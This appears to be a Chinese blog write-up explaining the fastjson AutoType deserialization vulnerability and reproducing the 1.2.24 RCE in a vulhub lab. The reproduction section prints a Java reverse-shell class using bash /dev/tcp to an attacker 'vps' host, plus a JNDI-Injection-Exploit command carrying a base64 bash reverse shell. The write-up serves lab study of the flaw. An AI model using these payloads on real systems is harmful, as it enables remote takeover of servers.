首页 > 其他分享 >fastjson-RCE

fastjson-RCE

时间:2024-03-10 16:11:06浏览次数:28  
标签:fastjson rmi java 漏洞 json RCE 序列化

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。

 

fastjson序列化/反序列化原理

fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢?

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

class Apple implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}
 
class iphone implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

{"Fruit":{"price":0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{"Fruit":{"price":5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

 

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:

1、攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机服务器执行了恶意代码,被攻击者成功利用。

复现开始

这次选择的是1.2.24-rce:

docker-compose启动一下:

开的8090端口:

服务正常启动。

 

创建文件的就不复现了,因为我本机开的出网,直接打反弹shell:

// javac ReverseShell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class ReverseShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps/port 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

此处起一个端口4444的http服务:

我用mbechler/marshalsec (github.com)起一个rmi开打:

下载下来后记得mvn clean package -DskipTests

当然,也可以vps上开这个rmi服务。

无论你哪里起服务,一定要保证java和javac的版本是1.8,版本要求非常严苛,不然出不了的。

所以这个工具我打的时候有点头疼,不想配环境了,就换了一个打JNDI的工具JNDI-Injection-Exploit。

老规矩,DNS测测能不能出网:

直接打:

bash -i >& /dev/tcp/vps/port 0>&1
//payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64后的命令>}|{base64,-d}|{bash,-i}" -A 攻击机ip

其实攻击过程弄明白了也挺简单的,主要还是漏洞本身出现的原因很值得深究,知其然得知其所以然。

 

参考:

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

标签:fastjson,rmi,java,漏洞,json,RCE,序列化
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18064168

相关文章

  • FastJson使用和案例
    FastJson使用和案例导入依赖<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.73</version></dependency>使用案例1.新建Perosn类,......
  • tryhackme-Source(来源)
    根据题目描述,这是一个webmin的应用程序,虽然没有了解过,可以通过开源信息搜索查看通过官网可以看出,这是一个资源信息态势图信息收集使用nmap进行端口扫描暂时扫描出靶机开放两个端口22和10000端口访问10000端口发现下方提示,说明服务运行在SSLmode,也就是使用https访问进入......
  • Codeforces Round 656 (Div. 3) F. Removing Leaves
    ProblemDescription给出一棵\(n\)个节点的无根树。你可以进行以下操作:选择\(k\)个共同父节点的叶子节点,将\(k\)个节点和与父节点相连的边删去。求最大操作次数。Input第一行输入一个整数\(t\)\((1\let\le2\times10^4)\),表示测试组数。接下来每组测试数据第......
  • Golang使用SSE(EventSource)
    gopackagemainimport( "fmt" "gopkg.in/antage/eventsource.v1" "log" "net/http" "time")funcmain(){ es:=eventsource.New(nil,nil) deferes.Close() http.Handle("/",http.FileServe......
  • Codeforces Round 932 (Div. 2)
    目录写在前面ABCDE写在最后写在前面比赛地址:https://codeforces.com/contest/1935。被精心构造的C的样例鲨了的一集。妈的天使骚骚☆REBOOT完全就是他妈拔作啊我草,要是被人知道我他妈推了全线要被笑话一辈子吧、、、A签到。操作偶数次,则答案仅可能为s或reverse(s)+s......
  • Codeforces 专区
    CodeforcesRound#932(Div.2)怎么只会A啊。\(\text{ProblemA}\)题目大意对于一个字符串\(s\),可以进行\(n\)次操作(\(n\)为偶数),每次操作有两种形式:令\(t\)为\(s\)的反串,\(s=s+t\)。令\(t\)为\(s\)的反串,\(s=t\)。要求操作完后\(s\)的字典序最小,并输......
  • Salesforce 2024财年爆发式增长!第一次现金分红
    对于Salesforce来说,这是非凡的转型之年,所有的关键指标都表现强劲,现金流和利润增长创下了纪录。截至第四季度末,Salesforce的剩余履约价值(RPO)总额为569亿美元,同比增长17%。MarcBenioffSalesforce启动了有史以来第一次分红,并将股票回购计划增加100亿美元。凭借统一Einstein1平......
  • 无参数RCE
    无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果1.获取根目录下文件print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(ar......
  • vscode 的sync的问题RequestFailed (UserDataSyncError) syncResource:unknown operat
    024-03-0708:58:24.361[error]RequestFailed(UserDataSyncError)syncResource:unknownoperationId:unknown:Connectionrefusedfortherequest'https://vscode-sync.trafficmanager.net/v1/manifest'.atu.D(c:\Debug\VSCode\resources\app\ou......
  • codeforce 1700-1900
    3.6LonelyMountainDungeons 算贡献算了半天还错了,这种采用容斥可以减少细节处理,代码注释有#include<bits/stdc++.h>usingnamespacestd;#defineendl"\n"#defineintlonglongtypedeflonglongll;voidsolve(){intn,b,x;cin>>n>>b>&......